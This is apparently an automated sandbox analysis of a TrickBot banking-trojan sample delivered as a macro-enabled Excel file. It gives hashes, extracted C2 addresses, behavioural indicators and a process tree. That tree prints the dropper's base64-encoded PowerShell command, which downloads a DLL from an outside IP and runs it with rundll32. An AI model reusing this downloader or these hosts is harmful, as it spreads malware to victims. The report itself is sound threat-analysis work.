trickbot | d3fd3711c2dcff75bf015624ac6ac8f258fbd0229cf7cd4cb5f4eaba6ec32033

Analysis

max time kernel
140s
max time network
163s
platform
windows10_x64
resource
win10-en-20210920
submitted
21/10/2021, 15:12

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General

Target
RNP-00149.xlsm
Size 87KB
Sample211021-sk6eksaea3
SHA256 d3fd3711c2dcff75bf015624ac6ac8f258fbd0229cf7cd4cb5f4eaba6ec32033
MD5 dc44a89cc099adc3042727734525e5ca
SHA1 343ab78089a5e242c29095ff55833b5c1da4181f
SHA512 bf67308fdecafe0b9b37679092d0ad64692a7a61afd84068b5c2cbb9cceac2799b201c41c3be14821fecb943cd5508e37251b60458d0b7ce472aca2dceb89f94
MD5 SHA1 SHA512

Score

10^/10

trickbot rob136 banker trojan

Malware Config

Extracted

Family

trickbot

Version

100019

Botnet

rob136

65.152.201.203:443
185.56.175.122:443
46.99.175.217:443
179.189.229.254:443
46.99.175.149:443
181.129.167.82:443
216.166.148.187:443
46.99.188.223:443
128.201.76.252:443
62.99.79.77:443
60.51.47.65:443
24.162.214.166:443
45.36.99.184:443
97.83.40.67:443
184.74.99.214:443
103.105.254.17:443
62.99.76.213:443
82.159.149.52:443

Attributes

autorun
Name:pwgrabb
Name:pwgrabc

ecc_pubkey.base64

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1884	2268	cmd.exe	68

Trickbot
Developed in 2016, TrickBot is one of the more recent banking Trojans.
trojan banker trickbot

Blocklisted process makes network request 1 IoCs

flow	pid	Process
39	3816	powershell.exe

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
728	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2268	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3816	powershell.exe
3816	powershell.exe
3816	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3816	powershell.exe
Token: SeDebugPrivilege	3628	wermgr.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE
2268	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 1884	2268	EXCEL.EXE	72
PID 2268 wrote to memory of 1884	2268	EXCEL.EXE	72
PID 1884 wrote to memory of 3816	1884	cmd.exe	74
PID 1884 wrote to memory of 3816	1884	cmd.exe	74
PID 1884 wrote to memory of 700	1884	cmd.exe	75
PID 1884 wrote to memory of 700	1884	cmd.exe	75
PID 700 wrote to memory of 728	700	rundll32.exe	76
PID 700 wrote to memory of 728	700	rundll32.exe	76
PID 700 wrote to memory of 728	700	rundll32.exe	76
PID 728 wrote to memory of 2040	728	rundll32.exe	77
PID 728 wrote to memory of 2040	728	rundll32.exe	77
PID 728 wrote to memory of 2040	728	rundll32.exe	77
PID 728 wrote to memory of 3628	728	rundll32.exe	78
PID 728 wrote to memory of 3628	728	rundll32.exe	78
PID 728 wrote to memory of 3628	728	rundll32.exe	78
PID 728 wrote to memory of 3628	728	rundll32.exe	78

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\RNP-00149.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3816
- - C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:700
  - - C:\Windows\SysWOW64\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:728
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe
        5⤵
        
        PID:2040
    - - C:\Windows\system32\wermgr.exe
        
        C:\Windows\system32\wermgr.exe
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/728-307-0x0000000010001000-0x0000000010003000-memory.dmp

Download

memory/728-305-0x00000000044F0000-0x0000000004535000-memory.dmp

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memory/728-306-0x0000000004540000-0x0000000004541000-memory.dmp

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memory/728-304-0x00000000041C0000-0x0000000004428000-memory.dmp

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memory/2268-121-0x0000027D0B1F0000-0x0000027D0B1F2000-memory.dmp

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memory/2268-117-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp

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memory/2268-116-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp

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memory/2268-118-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp

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memory/2268-120-0x0000027D0B1F0000-0x0000027D0B1F2000-memory.dmp

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memory/2268-127-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp

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memory/2268-115-0x00007FFCB3220000-0x00007FFCB3230000-memory.dmp

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memory/2268-119-0x0000027D0B1F0000-0x0000027D0B1F2000-memory.dmp

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memory/3628-309-0x000001AF48C60000-0x000001AF48C89000-memory.dmp

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memory/3628-310-0x000001AF48CA0000-0x000001AF48CA1000-memory.dmp

Download

memory/3816-295-0x000001CFC4ED6000-0x000001CFC4ED8000-memory.dmp

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memory/3816-293-0x000001CFC4ED0000-0x000001CFC4ED2000-memory.dmp

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memory/3816-294-0x000001CFC4ED3000-0x000001CFC4ED5000-memory.dmp

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